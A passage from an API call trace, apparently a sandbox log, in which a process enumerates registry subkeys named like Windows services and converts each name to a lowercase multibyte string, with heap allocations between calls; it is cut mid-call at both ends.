WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0224.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.467] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0224.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0224.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.468] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0224.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0224.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.469] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0224.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0224.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.512] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0224.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0224.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.512] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0224.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0224.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.512] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0224.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0224.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.513] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0224.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0224.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.513] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0224.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0224.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.513] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0224.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0224.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.513] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0224.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0224.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.514] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0224.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0224.514] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0224.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0224.514] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0224.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0224.514] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0224.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0224.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f1850, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0224.514] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0224.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0224.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1ad8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0224.515] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0224.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0224.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f1850, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0224.515] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0224.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0224.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1ad8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0224.515] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0224.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0224.515] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0224.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0224.515] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0224.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0224.516] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0224.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0224.516] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0224.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f1850, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0224.516] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0224.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0224.516] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0224.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0224.516] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0224.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0224.516] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0224.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0224.517] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0224.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0224.517] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0224.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0224.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f1850, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0224.517] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0224.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, 